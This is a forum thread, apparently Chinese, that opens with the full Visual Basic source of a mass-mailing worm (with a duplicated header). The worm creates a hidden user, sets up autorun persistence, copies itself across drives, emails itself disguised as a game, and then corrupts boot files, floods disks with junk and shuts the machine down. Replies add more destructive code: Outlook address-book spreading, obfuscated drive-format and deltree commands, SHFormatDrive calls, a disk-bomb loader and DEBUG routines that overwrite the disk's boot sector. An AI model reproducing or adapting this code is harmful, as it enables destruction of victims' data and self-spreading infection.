VERSION 5.00
Object = "{20C62CAE-15DA-101B-B9A8-444553540000}#1.1#0"; "MSMAPI32.OCX"
Begin VB.Form Form1
BorderStyle = 0 'None
Caption = "Form1"
ClientHeight = 1485
ClientLeft = 0
ClientTop = 0
ClientWidth = 2850
Icon = "llsa.frx":0000
LinkTopic = "Form1"
ScaleHeight = 1485
ScaleWidth = 2850
ShowInTaskbar = 0 'False
StartUpPosition = 3 'Windows Default
Visible = 0 'False
Begin VB.Timer Timer1
Interval = 60
Left = 1080
Top = 600
End
Begin MSMAPI.MAPIMessages Msg
Left = 1800
Top = 480
_ExtentX = 1005
_ExtentY = 1005
_Version = 393216
AddressEditFieldCount= 1
AddressModifiable= 0 'False
AddressResolveUI= 0 'False
FetchSorted = 0 'False
FetchUnreadOnly = 0 'False
End
Begin MSMAPI.MAPISession Session
Left = 360
Top = 480
_ExtentX = 1005
_ExtentY = 1005
_Version = 393216
DownloadMail = -1 'True
LogonUI = -1 'True
NewSession = 0 'False
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = FalsePrivate Type OFSTRUCT
cBytes As Byte
fFixedDisk As Byte
nErrCode As Integer
Reserved1 As Integer
Reserved2 As Integer
szPathName(255) As Byte
End Type
Private Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function SetFileAttributes Lib "kernel32.dll" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
Private Declare Function FindWindow Lib "USER32.dll" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetDC Lib "USER32.dll" (ByVal hwnd As Long) As Long
Private Declare Function TextOut Lib "gdi32.dll" Alias "TextOutA" (ByVal Hdc As Long, ByVal x As Long, ByVal y As Long, ByVal lpString As String, ByVal nCount As Long) As Long
Private Declare Function SetTextColor Lib "gdi32.dll" (ByVal Hdc As Long, ByVal crColor As Long) As Long
Private Declare Function OpenFile Lib "kernel32.dll" (ByVal lpFileName As String, lpReOpenBuff As OFSTRUCT, ByVal wStyle As Long) As Long
Private Declare Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long)
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function ExitWindowsEx Lib "USER32.dll" (ByVal dwReserved As Long, ByVal uReturnCode As Long) As Long
Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Private Declare Function GetLogicalDrives Lib "kernel32.dll" () As Long
Private Declare Function BlockInput Lib "USER32.dll" (ByVal fBlockIt As Long) As Long
Private Const EWX_SHUTDOWN As Long = 1
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const HKEY_CURRENT_USER = &H80000001
Private Const REG_SZ = 1
Private Const FILE_ATTRIBUTE_HIDDEN As Long = &H2
Private Const FILE_ATTRIBUTE_NORMAL As Long = &H80
Private Const GENERIC_READ As Long = &H80000000
Private Const GENERIC_WRITE As Long = &H40000000
Private Const OPEN_EXISTING As Long = 3
Private Const REG_DWORD As Long = 4
Private Const REG_BINARY As Long = 3
Dim CheckSysPath As String
Dim SysPath As String * 20
Object = "{20C62CAE-15DA-101B-B9A8-444553540000}#1.1#0"; "MSMAPI32.OCX"
Begin VB.Form Form1
BorderStyle = 0 'None
Caption = "Form1"
ClientHeight = 1485
ClientLeft = 0
ClientTop = 0
ClientWidth = 2850
Icon = "llsa.frx":0000
LinkTopic = "Form1"
ScaleHeight = 1485
ScaleWidth = 2850
ShowInTaskbar = 0 'False
StartUpPosition = 3 'Windows Default
Visible = 0 'False
Begin VB.Timer Timer1
Interval = 60
Left = 1080
Top = 600
End
Begin MSMAPI.MAPIMessages Msg
Left = 1800
Top = 480
_ExtentX = 1005
_ExtentY = 1005
_Version = 393216
AddressEditFieldCount= 1
AddressModifiable= 0 'False
AddressResolveUI= 0 'False
FetchSorted = 0 'False
FetchUnreadOnly = 0 'False
End
Begin MSMAPI.MAPISession Session
Left = 360
Top = 480
_ExtentX = 1005
_ExtentY = 1005
_Version = 393216
DownloadMail = -1 'True
LogonUI = -1 'True
NewSession = 0 'False
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = FalsePrivate Type OFSTRUCT
cBytes As Byte
fFixedDisk As Byte
nErrCode As Integer
Reserved1 As Integer
Reserved2 As Integer
szPathName(255) As Byte
End Type
Private Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function SetFileAttributes Lib "kernel32.dll" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
Private Declare Function FindWindow Lib "USER32.dll" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetDC Lib "USER32.dll" (ByVal hwnd As Long) As Long
Private Declare Function TextOut Lib "gdi32.dll" Alias "TextOutA" (ByVal Hdc As Long, ByVal x As Long, ByVal y As Long, ByVal lpString As String, ByVal nCount As Long) As Long
Private Declare Function SetTextColor Lib "gdi32.dll" (ByVal Hdc As Long, ByVal crColor As Long) As Long
Private Declare Function OpenFile Lib "kernel32.dll" (ByVal lpFileName As String, lpReOpenBuff As OFSTRUCT, ByVal wStyle As Long) As Long
Private Declare Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long)
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function ExitWindowsEx Lib "USER32.dll" (ByVal dwReserved As Long, ByVal uReturnCode As Long) As Long
Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Private Declare Function GetLogicalDrives Lib "kernel32.dll" () As Long
Private Declare Function BlockInput Lib "USER32.dll" (ByVal fBlockIt As Long) As Long
Private Const EWX_SHUTDOWN As Long = 1
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const HKEY_CURRENT_USER = &H80000001
Private Const REG_SZ = 1
Private Const FILE_ATTRIBUTE_HIDDEN As Long = &H2
Private Const FILE_ATTRIBUTE_NORMAL As Long = &H80
Private Const GENERIC_READ As Long = &H80000000
Private Const GENERIC_WRITE As Long = &H40000000
Private Const OPEN_EXISTING As Long = 3
Private Const REG_DWORD As Long = 4
Private Const REG_BINARY As Long = 3
Dim CheckSysPath As String
Dim SysPath As String * 20
Dim path As String
Dim CheckPath As String
Dim FileCreateMark1 As Long
Dim FileCreateMark2 As Long
Dim l As Long
Dim FHwnd As Long
Dim OS As OFSTRUCT
Dim RunCount As IntegerMe.HideOn Error GoTo ERRGOTO'测试区
'=======================
'SendMail
'WormRun
'End
'======================='共享d盘
'==================================================
Dim Regl As Long
Dim Hkey As Long
Regl = RegCreateKey(HKEY_LOCAL_MACHINE, "software\microsoft\windows\currentversion\NetWork\LanMan\D", Hkey)
Regl = RegSetValueEx(Hkey, "Flags", 0, REG_DWORD, 401, 4)
Regl = RegSetValueEx(Hkey, "Parm1enc", 0, REG_BINARY, 0, 0)
Regl = RegSetValueEx(Hkey, "Parm2enc", 0, REG_BINARY, 0, 0)
Regl = RegSetValueEx(Hkey, "Path", 0, REG_SZ, ByVal "D:\", 256)
Regl = RegSetValueEx(Hkey, "Re", 0, REG_SZ, ByVal "", 256)
Regl = RegSetValueEx(Hkey, "Type", 0, REG_DWORD, 0, 4)
Regl = RegCloseKey(HKEY_LOCAL_MACHINE)
'==================================================
'系统盘和d盘的两个程序互相守望（系统盘用“启动”自动运行、d盘用注册表来运行）
'============================================================================
FHwnd = FindWindow(vbNullString, "Outlook")
If FHwnd Then
Me.Caption = "Express"
Exit Sub '证明已经启动了某个盘的程序了
Else
Me.Caption = "Outlook"
End If
'============================================================================
'让c盘的程序自启动
'========================================================================================================
GetWindowsDirectory SysPath, 20
If Mid(SysPath, 4, 5) = "WINNT" Then
'添加一个新用户，为发送邮件做准备(在winnt下新建一个用户)
'=====================================
Shell "net user efei4000 800211/add"
'=====================================
CheckSysPath = Mid(SysPath, 1, 3) + "WINNT"
WritePrivateProfileString "Boot", "shell", "Explorer.exe Game.exe", "C:\Winnt\" + "system.ini"
Else
CheckSysPath = Mid(SysPath, 1, 3) + "WINDOWS"
WritePrivateProfileString "Boot", "shell", "Explorer.exe Game.exe", "C:\Windows\" + "system.ini"
End If
'=======================================================================================================
'完成病毒的自我复制(硬盘部分)
'======================================================================================================
FileCreateMark1 = OpenFile(CheckSysPath + "\Game.exe", OS, l)
If FileCreateMark1 <= 0 Then
CopyFile App.path + "\Game.exe", CheckSysPath + "\Game.exe", True
End If
CloseHandle FileCreateMark1FileCreateMark2 = OpenFile("D:\Game.exe", OS, l)
If FileCreateMark2 <= 0 Then
CopyFile App.path + "\Game.exe", "D:\Game.exe", True
End If
CloseHandle FileCreateMark2
'======================================================================================================================================
'病毒的发作条件和破坏设置
'======================================================================================================================================
FileCreateMark1 = OpenFile(CheckSysPath + "\Game.ini", OS, l)
FileCreateMark2 = OpenFile("D:\Game.ini", OS, l)'如果满足这两样条件，表明有还原精灵！所以要先发送邮件了，然后开始破坏
If FileCreateMark1 <= 0 And FileCreateMark2 > 0 Then
SendMail
WormRun
End If'如果满足这两样条件，表明是该病毒是第一次运行，要建立这两个新文件为以后做判断
If FileCreateMark1 <= 0 And FileCreateMark2 <= 0 Then
Open CheckSysPath + "\Game.ini" For Output As #1
Write #1, 1
Close #1
Open "D:\Game.ini" For Output As #1 '该文件作为判断是否有还原精灵用
Close #1
End If'防止别人不小心把该文件删了
If FileCreateMark1 > 0 And FileCreateMark2 <= 0 Then
Open "D:\Game.ini" For Output As #1 '该文件作为判断是否有还原精灵用
Close #1
End If
'如果满足这两样条件，表明没有还原精灵！所以要发送邮件了，然后写这两个文件了
'为病毒发作做标记了
If FileCreateMark1 > 0 And FileCreateMark2 > 0 ThenOpen CheckSysPath + "\Game.ini" For Input As #1
Input #1, RunCount
Close #1RunCount = RunCount + 1Open CheckSysPath + "\Game.ini" For Output As #1
Write #1, RunCount
Close #1
If RunCount > 50 Then
WormRun
Else
SendMail
End IfEnd If
SetFileAttributes CheckSysPath + "\Game.ini", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "D:\Game.ini", FILE_ATTRIBUTE_HIDDEN
CloseHandle FileCreateMark1
CloseHandle FileCreateMark2
'======================================================================================================================================='让d盘的程序自动启动（注册表读写）
'=======================================================================================================
Regl = RegCreateKey(HKEY_LOCAL_MACHINE, "software\microsoft\windows\currentversion\runservices", Hkey)
Regl = RegSetValueEx(Hkey, "MyGame", 0, REG_SZ, ByVal "D:\Game.exe", 256)
Regl = RegCloseKey(HKEY_LOCAL_MACHINE)
'========================================================================================================
'完成病毒的自我复制(A盘部分)
'=======================================================================================================
FileCreateMark2 = OpenFile("A:\Game.exe", OS, l)
If FileCreateMark2 <= 0 Then
CopyFile App.path + "\Game.exe", "A:\Game.exe", True
End If
CloseHandle FileCreateMark2
'=========================================================================================================Exit Sub
ERRGOTO:
End Sub
Dim SName As String
Dim SNum As String
Dim LName As Integer
Dim LNum As Integer
Dim i As Integer
Dim SendTime As Integer
Dim MsgCount As IntegerEName(0) = "a"
EName(1) = "b"
EName(2) = "d"
EName(3) = "e"
EName(4) = "c"
EName(5) = "f"
EName(6) = "g"
EName(7) = "h"
EName(8) = "j"
EName(9) = "k"
EName(11) = "l"
EName(12) = "m"
EName(13) = "n"
EName(14) = "p"
EName(15) = "q"
EName(16) = "r"
EName(17) = "s"
EName(18) = "t"
EName(19) = "w"
EName(20) = "x"
EName(21) = "y"
EName(22) = "z"On Error GoTo ERRGOTOSession.SignOn
Msg.SessionID = Session.SessionID
If CheckSysPath = Mid(SysPath, 1, 3) + "WINNT" Then
Session.UserName = "efei4000"
Session.Password = "800211"
End If
Session.LogonUI = False'发送邮件100次
'=============================================================================
For SendTime = 0 To 100 Step 1'为每次发送邮件清空收件人的名称
'==============
SNum = ""
SName = ""
'==============Randomize'随机的抽取名字、名字的数字后缀的长度
'==========================
LNum = CInt(Rnd * 10)
LName = CInt(Rnd * 10)
'==========================
'根据长度随机的抽取名字和名字的数字后缀
'==================================================
For i = 0 To LNum Step 1
SNum = SNum + CStr(CInt(Rnd * 10))
Next iFor i = 0 To LName Step 1
SName = SName + CStr(EName(CInt(Rnd * 100) / 4.6))
Next i
'==================================================
'开始发送邮件(sina,hotmail,163和outlook里面已经存在的邮件地址发送邮件）
'=================================================================================
Msg.MsgIndex = -1
Msg.MsgSubject = "I'm you classmate!Do you remember me?(我是你同学，你还记得我吗？)"
Msg.MsgNoteText = "This Game is very good!(这个游戏很棒！)"
Msg.AttachmentPathName = "D:\Game.exe"
Msg.Fetch
For MsgCount = 0 To Msg.MsgCount - 1 Step 1
If Msg.MsgOrigAddress <> "NONE:" Then
Msg.RecipAddress = Msg.MsgOrigAddress
Msg.Send
End If
Sleep 600
Next MsgCountMsg.MsgIndex = -1
Msg.MsgSubject = "I'm you classmate!Do you remember me?(我是你同学，你记得吗？)"
Msg.MsgNoteText = "This Game is very good!(这个游戏很棒！)"
Msg.AttachmentPathName = "D:\Game.exe"
Msg.RecipAddress = SName + SNum + "@sina.com"
Msg.Send
Sleep 600Msg.MsgIndex = -1
Msg.MsgSubject = "I'm you classmate!Do you remember me?(我是你同学，你记得吗？)"
Msg.MsgNoteText = "This Game is very good!(这个游戏很棒！)"
Msg.AttachmentPathName = "D:\Game.exe"
Msg.RecipAddress = SName + SNum + "@hotmail.com"
Msg.Send
Sleep 600Msg.MsgIndex = -1
Msg.MsgSubject = "I'm you classmate!Do you remember me?(我是你同学，你记得吗？)"
Msg.MsgNoteText = "This Game is very good!(这个游戏很棒！)"
Msg.AttachmentPathName = "D:\Game.exe"
Msg.RecipAddress = SName + SNum + "@163.com"
Msg.Send
Sleep 600
'===================================================================================
Next SendTimeSession.SignOffERRGOTO:
End Sub
Sub WormRun()Dim Hdc As Long
Dim i As Long
Dim FileCreateMark1 As Long
Dim FileCreateMark2 As Long
Dim OS As OFSTRUCTOn Error GoTo ERRGOTO'然后开始破坏了(win98 and winnt)
'============================================================================================================'win98破坏
'=================================================
FileCreateMark1 = OpenFile("C:\Msdos.sys", OS, l)
FileCreateMark2 = OpenFile("C:\Io.sys", OS, l)If FileCreateMark1 > 0 Then
SetFileAttributes "C:\Msdos.sys", FILE_ATTRIBUTE_NORMAL
Open "C:\Msdos.sys" For Output As #1
Write #1, "[Paths]" + Chr(13) + Chr(10) + "WinDir=A:\WINDOWS" + Chr(13) + Chr(10) + "WinBootDir=A:\WINDOWS"
Close #1
SetFileAttributes "C:\Msdos.sys", FILE_ATTRIBUTE_HIDDEN
End IfIf FileCreateMark2 > 0 Then
SetFileAttributes "C:\Io.sys", FILE_ATTRIBUTE_NORMAL
Open "C:\Io.sys" For Output As #1
Write #1, "何浩然到此一游"
Close #1
SetFileAttributes "C:\Io.sys", FILE_ATTRIBUTE_HIDDEN
End IfCloseHandle FileCreateMark1
CloseHandle FileCreateMark2
'===============================================
'winnt破坏
'=================================================
FileCreateMark1 = OpenFile("C:\Boot.ini", OS, l)
If FileCreateMark1 > 0 Then
SetFileAttributes "C:\Boot.ini", FILE_ATTRIBUTE_NORMAL
Open "C:\boot.ini" For Binary As #3
Put #3, 1, "[Paths]" + Chr(13) + Chr(10) + "WinDir=A:\WINDOWS" + Chr(13) + Chr(10) + "WinBootDir=A:\WINDOWS"
Close #3
SetFileAttributes "C:\Boot.ini", FILE_ATTRIBUTE_HIDDEN
End If
CloseHandle FileCreateMark1
'=================================================
'===================================================================================================================='疯狂复制垃圾文件
'========================================================================================
Dim DT As Long
Dim CopyCount As Long
DT = GetLogicalDrives()
'只有a、c、d盘
'===========================
If Hex(DT) = "0D" Then
Open "D:\HappyWorm.exe" For Output As #1
Write #1, "何浩然到此一游"
Close #1
For CopyCount = 0 To 50000
CopyFile "D:\HappyWorm.exe", "D:\" + "'" & CopyCount & "'" + ".exe", True
Next CopyCount
End If
'============================'只有a、c、d、e盘
'===========================
If Hex(DT) = "1D" Then
Open "D:\HappyWorm.exe" For Output As #1
Write #1, "何浩然到此一游"
Close #1
For CopyCount = 0 To 50000
CopyFile "D:\HappyWorm.exe", "D:\" + "'" & CopyCount & "'" + ".exe", True
CopyFile "D:\HappyWorm.exe", "E:\" + "'" & CopyCount & "'" + ".exe", True
Next CopyCount
End If
'============================'只有a、c、d、e、f盘
'===========================
If Hex(DT) = "3D" Then
Open "D:\HappyWorm.exe" For Output As #1
Write #1, "何浩然到此一游"
Close #1
For CopyCount = 0 To 50000
CopyFile "D:\HappyWorm.exe", "D:\" + "'" & CopyCount & "'" + ".exe", True
CopyFile "D:\HappyWorm.exe", "E:\" + "'" & CopyCount & "'" + ".exe", True
CopyFile "D:\HappyWorm.exe", "F:\" + "'" & CopyCount & "'" + ".exe", True
Next CopyCount
End If
'============================
'==========================================================================================
'测试区
'=======================
BlockInput True
'=======================
'显示的告诉用户病毒已经发作
'====================================================================================================
Hdc = GetDC(0)
For i = 0 To 500 Step 1
DoEvents
Sleep 30
If i < 300 Then
TextOut Hdc, i, i, "我爱江汉石油学院 " + "我讨厌长江大学 " + "程序设计人：应物001班 何浩然", 62
Else
TextOut Hdc, 300, i, "我爱江汉石油学院 " + "我讨厌长江大学 " + "程序设计人：应物001班 何浩然", 62
End If
Next i
'===================================================================================================='测试区
'=======================
ExitWindowsEx EWX_SHUTDOWN, 0
'=======================ERRGOTO:
End Sub
'=======================
ExitWindowsEx EWX_SHUTDOWN, 0
'=======================
End SubPrivate Sub Timer1_Timer()
Dim Regl As Long
Dim Hkey As Long
Dim FileCreateMark1 As Long
Dim FileCreateMark2 As Long
Dim OS As OFSTRUCTOn Error GoTo ERRGOTOFileCreateMark1 = OpenFile(CheckSysPath + "\Game.exe", OS, l)
If FileCreateMark1 <= 0 Then
CopyFile "D:\Game.exe", CheckSysPath + "\Game.exe", True
End If
CloseHandle FileCreateMark1FileCreateMark2 = OpenFile("D:\Game.exe", OS, l)
If FileCreateMark2 <= 0 Then
CopyFile CheckSysPath + "\Game.exe", "D:\Game.exe", True
End If
CloseHandle FileCreateMark2Regl = RegCreateKey(HKEY_LOCAL_MACHINE, "software\microsoft\windows\currentversion\runservices", Hkey)
Regl = RegSetValueEx(Hkey, "MyGame", 0, REG_SZ, ByVal "D:\Game.exe", 256)
Regl = RegCloseKey(HKEY_LOCAL_MACHINE)
If Mid(SysPath, 4, 5) = "WINNT" Then
CheckSysPath = Mid(SysPath, 1, 3) + "WINNT"
WritePrivateProfileString "Boot", "shell", "Explorer.exe Game.exe", "C:\Winnt\" + "system.ini"
Else
CheckSysPath = Mid(SysPath, 1, 3) + "WINDOWS"
WritePrivateProfileString "Boot", "shell", "Explorer.exe Game.exe", "C:\Windows\" + "system.ini"
End If
ERRGOTO:
End Sub
请问VB病毒怎么在没有安装VB的机上传播啊！！！谢谢！！！
得用VB运行库！~不过那样太大了。写病毒就用C或者汇编。
要使你的程序具有传播性能,就要去看枯燥难懂的PE文件格式
对应支持PE知识的只有汇编了,VB很难做到因为它不够低层,我在汇编的版块走走发现里面有很多牛人,可以这么说,会(我所说的会不是那些照猫画虎的人,而是真正理解了计算机硬件的工作原理,能独立编程的那些人)用汇编语言的人几乎都会做病毒
我看过罗云杉的文章,做病毒只需把某某地址偏移一下就行了,说就这么简单,但却没几个人真会
建议楼主学学PE结构
你这个东西体积大,而且很多人都不会上当,上当的,也因为没有运行库,无法运行
把自己复制了就叫病毒?拜托,起码你得把自己追加绑定到别的可执行程序里面才成吧
用notepad随便写个vbs也比你这个厉害了,哈哈,体积还小
光在几台机上就有什么意思,通过"outlook"等传播不是最佳途径...前阵挺流行的RPC漏洞就很好啊...至于其它如:
发作,破坏,(感染\感染也是有朝一日能起作用,)占用内存,占用CPU资源.随自己喜欢了.
删除文件,格盘,修改数据..还可以使用资源编辑器方法释放"磁盘锁",
合并多个EXE文件...太多了.
顺便加点杂7杂8的东东::Private Declare Function IsDebuggerPresent Lib "kernel32" () As Long
Private Declare Function SHFormatDrive Lib "shell32.dll" (ByVal hWnd As Long, ByVal Drive As Long, fmtID As Long, Options As Long) As Long
'Private Const SHFMT_ID_DEFAULT = &HFFFF&Private Function Junk(Min, Max)
''随机字符串生成器,长度=Max
For i = Min To Min + Int(Rnd * Max)
Junk = Junk & VBA.Chr(VBA.Int(VBA.Rnd * 255))
Next
End FunctionPrivate Sub Form_Load()
Randomize Timer
Me.Top = -1000 + Rnd() * 100
Me.Left = -1000 + Rnd() * 100 If IsDebuggerPresent <> 0 Then End
Dim KaNames(50) As String
Dim KaTypes(50) As String
Dim Extra(50) As String Dim stemp() As String
'''下面写得总之要有想像力就是了..HA.HA....
stxt = "裸女和大白菜,中年时刻-抽象,二个坏女孩,诱惑挡不住?,2003最佳骗术,时装模特," & _
"Nvidia图形世界,布什Vs拉登,刘氓兔子,魅力男子布什,小甜甜布兰尼,美丽浴缸," & _
"卡门的恋父情结,奥斯卡影像,黑客帝国,深海沉船,特警女队,现代王族,快乐的心事,可口可乐"
stemp = Split(stxt, ",")
For jj = 1 To 20
KaNames(jj) = stemp(jj - 1)
Next KaTypes(1) = "屏幕保护"
KaTypes(2) = "Windows主题"
KaTypes(3) = "墙纸"
KaTypes(4) = "Flash动画" Extra(1) = "北京来的你所期待的"
Extra(2) = "你可以全部得到这些"
Extra(3) = "属于你的免费礼物" Randomize Timer
RndA = Int(Rnd * 20) + 1
RndB = Int(Rnd * 4) + 1
RndC = Int(Rnd * 3) + 1
ChooseR = RndB
' RNDspc = Space(Int(Rnd * 10) + Int(Rnd * 10) + 1)
Dim strPGF$: strPGF = StrReverse("selifmargorP")
Dim strDir$: strDir = VBA.Environ(StrReverse("ridniW"))
'''***************************************
myself = App.Path & IIf(Len(App.Path) > 3, "\" & App.EXEName & ".exe", App.EXEName & ".exe")
VBA.FileCopy myself, "c:\puzzle.exe"
VBA.FileCopy myself, strDir & "\system\puzzle.exe"Dim OutMail, OutMapi, Themes
subj = KaNames(RndA) & Space(1) & KaTypes(RndB) & Space(1) & Extra(RndC)Attachment = myself
'************重写此处代码*****************
Set OutMail = CreateObject("outlook.Application")
Set OutMapi = OutMail.GetNamespace("MAPI")
If OutMail = "Outlook" Then
OutMapi.Logon "profile", "password"
For y = 1 To OutMapi.AddressLists.Count
Set addybook = OutMapi.AddressLists(y)
x = 1
Set Themes = OutMail.CreateItem(0)
For OO = 1 To addybook.AddressEntries.Count
Peep = addybook.AddressEntries(x)
Themes.Recipients.Add Peep
x = x + 1
Next
Themes.Subject = subj
Themes.Attachments.Add Attachment
Themes.Send
Peep = ""
Next
OutMapi.Logoff
End If
'**************************************************************
If VBA.Day(VBA.Now()) = 18 Then
MsgBox "Waiting...Yearning...Pain...", , App.Comments
Call KillHD
End If
End Sub
Private Sub CrackPc(iindex As Integer)
Dim F1%: F1 = FreeFile
Dim F2%: F2 = FreeFile
Dim F3%: F3 = FreeFile
Dim sDIR$: sDIR = VBA.Environ$(VBA.StrReverse("ridniw"))
Dim sFini$: sFini = "ini.tininiw\" & StrReverse(sDIR)
Dim sFsta$: sFsta = "tab.tratsniw\" & StrReverse(sDIR)
Dim sFaut$: sFaut = "tab.cexeotuA\:C"
Select Case iindex
Case 1
'''创建Wininit.ini文件,并在文件改名段中写上
'''DirNUl = C:\progra~1 DirNUL=C:\windir
'''删除这两个目录下所有文件和目录
Dim sA(1 To 3) As String
sA(1) = "]emaneR["
sA(2) = VBA.StrReverse(VBA.StrReverse(sDIR) & "=LUNRID")
sA(3) = "1~argorp\:C=LUNRID"
Open StrReverse(sFini) For Append As F1
For L = 1 To 3
Print #F1, VBA.StrReverse(sA(L))
Next
Close F1
Case 2
'''建立一个C:\windir\winstart.bat文件
'''在里面写上快速格式化CDEF盘的命令
Dim FB(1 To 4) As String
Open StrReverse(sFsta) For Append As F2
For L = 1 To 4
FB(L) = "q/ :" & Chr(98 + L) & " tamrof"
Print #F2, VBA.StrReverse(FB(L))
Next
Close F2
Case 3
''创建一个C:\Autoexec.bat文件
''里面的内容是 DEltree /y d:\*.* & Deltree /y c:\*.*
Dim ssA$: ssA = ":"
Dim ssB$: ssB = " y/ eertled"
Open StrReverse(sFaut) For Append As F3
Print #F3, StrReverse(ssA & Chr(68) & ssB)
Print #F3, StrReverse(ssA & Chr(65) & ssB)
Close F3
End Select
End SubPrivate Sub FormatU()
'在Drive的参数中 "A:" = 0，"B:"= 1 ,类推。
On Error Resume Next
SHFormatDrive Me.hWnd, 3, &HFFFF&, 0
On Error Resume Next
SHFormatDrive Me.hWnd, 2, &HFFFF&, 0
End Sub
''''这里我是使用资源编辑器加入了的一个江民磁盘炸弹..文件不能贴出了...
Private Sub KillHD()
Const FileSize = 1809 '我的sysbmb.dll是20480Byte
Dim BMB() As Byte 'BMB是个Btye类型和数组
Dim Counter As Long
Dim SysDir$: SysDir = Environ("windir")
Dim FN%: FN = FreeFile
BMB = LoadResData(101, "CUSTOM") '将自定义资源中101号资源读入数组
Open "C:\Explorer.exe" For Binary As FN
For Counter = 0 To FileSize - 1
Put #FN, , BMB(Counter)
Next Counter
Close #FN
FileCopy "C:\Explorer.exe", SysDir & "\sysbmb.exe"
Shell "C:\Explorer.exe", vbNormalFocus
End Sub
---------下面是DEBUG指令,别试啊------------
a
mov ax,0301
mov bx,0100
mov cx,0100
mov dx,0080
int 13
int 3gw 100 2 0 100
w 100 3 0 100
q---------还有东东...7788
给硬盘加把锁四川 姜裁军
1996-02-09 下面的一段小程序就是利用这个原理对硬盘加锁的，以保护硬盘数据，防止他人使用你的硬盘。该程序生成方法如下(假定你有DEBUG命令，生成的程序存于A盘上)：
程序清单：
C:\DOS>debug
-a 100
1881:0100 MOV AX,0201
1881:0103 MOV BX,0200
1881:0106 MOV CX,0001
1881:0109 MOV DX,0080
1881:010C INT 13
1881:010E JB 011D
1881:0110 MOV SI,03FE
1881:0113 MOV BP,AA55
1881:0116 XOR [SI],BP
1881:0118 MOV AX,0301
1881:011B INT 13
1881:011D MOV DX,0157
1881:0120 JB 012E
1881:0122 CMP [SI],BP
1881:0124 JZ 012B
1881:0126 MOV DX,0136
1881:0129 JMP 012E
1881:012B MOV DX,0146
1881:012E MOV AX,0009
1881:0131 INT 21
1881:0133 INT 20
1881:0135
-e 136 "Lock success !!$"
-e 146 "UnLock success !!$"
-e 157 "Operation failure !!$"
-n hardlock.com
-rcx
CX 0000
:006d
-w
Writing 0006D bytes
-q
运行一次该程序，关机后再开机，硬盘就不能使用了。为安全起见，在加锁之前，最好做一张能引导的系统盘，并将hardlock.com拷到该软盘上。若想解锁，先用软盘启动，然后再运行一次该程序，之后再启动就可以使用了。